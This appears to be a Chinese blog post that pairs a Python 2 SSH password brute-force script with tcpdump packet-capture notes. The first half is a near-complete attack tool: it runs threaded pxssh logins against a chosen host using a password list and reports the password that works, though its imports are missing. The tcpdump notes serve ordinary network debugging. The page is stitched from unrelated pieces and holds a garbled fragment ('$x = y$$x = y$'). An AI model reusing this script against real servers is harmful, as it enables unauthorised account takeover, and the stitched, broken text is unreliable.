from pexpect import pxssh  
  
maxConnections = 100 
connection_lock = BoundedSemaphore(value=maxConnections)  
  
Found = False  
Fails = 0  
  
def connect(host, user, password, release):  
    global Found  
    global Fails  
  
    try:  
        s = pxssh.pxssh()  
        s.login(host, user, password)  
        print '[+] Password Found: ' + password  
        Found = True  
    except Exception, e:  
        if 'read_nonblocking' in str(e):  
            Fails += 1  
            time.sleep(5)  
            connect(host, user, password, False)  
        elif 'synchronize with original prompt' in str(e):  
            time.sleep(1)  
            connect(host, user, password, False)  
  
    finally:  
        if release: connection_lock.release()  
  
def main():  
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'  
                              )  
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')  
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')  
    parser.add_option('-u', dest='user', type='string', help='specify the user')  
  
    (options, args) = parser.parse_args()  
    host = options.tgtHost  
    passwdFile = options.passwdFile  
    user = options.user  
  
    if host == None or passwdFile == None or user == None:  
        print parser.usage  
        exit(0)  
          
    fn = open(passwdFile, 'r')  
    for line in fn.readlines():  
        if Found:  
            print "[*] Exiting: Password Found"  
            exit(0)  
        if Fails > 5:  
            print "[!] Exiting: Too Many Socket Timeouts"  
            exit(0)  
  
        connection_lock.acquire()  
        password = line.strip('\r').strip('\n')  
        print "[-] Testing: "+str(password)  
        t = Thread(target=connect, args=(host, user, password, True))  
        child = t.start()  
  
if __name__ == '__main__':  
    main()  

tcpdump 抓包工具

1)tcpdump(傳輸/網(wǎng)絡(luò)層)

tcpdump -i eth0

tcpdump -i eth0 -vnn

-v:顯示包含有TTL,TOS值等等更詳細(xì)的信息

-n:不要做IP解析為主機(jī)名

-nn:不做名字解析和端口解析

更有針對(duì)性的抓包:

針對(duì)IP,網(wǎng)段,端口,協(xié)議

tcpdump -n -i eth0 -vnn host 192.168.0.154 --主機(jī)地址里邊只要包含地址有:192.168.0.154

tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一個(gè)網(wǎng)段數(shù)據(jù)包

tcpdump -i eth0 -vnn port 22

tcpdump -i eth0 -vnn udp

tcpdump -i eth0 -vnn icmp ping

tcpdump -i eth0 -vnn arp



$x = y$$x = y$ # tcpdump -i eth0 -vnn ip

tcpdump -n -i eth0 -vnn src host 192.168.0.154

tcpdump -i eth0 -vnn dst host 192.168.0.154

tcpdump -i eth0 -vnn src port 22

tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22

抓包最主要的功能在于調(diào)試,比如在調(diào)試某個(gè)服務(wù)的時(shí)候 明明服務(wù)起來(lái)了 但是不知道為什么鏈接不上 可以通過(guò)抓包工具來(lái)測(cè)試看看請(qǐng)求包有沒(méi)有過(guò)來(lái)服務(wù)器,來(lái)判斷是傳輸過(guò)程中失敗了 還是被服務(wù)器拒絕了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容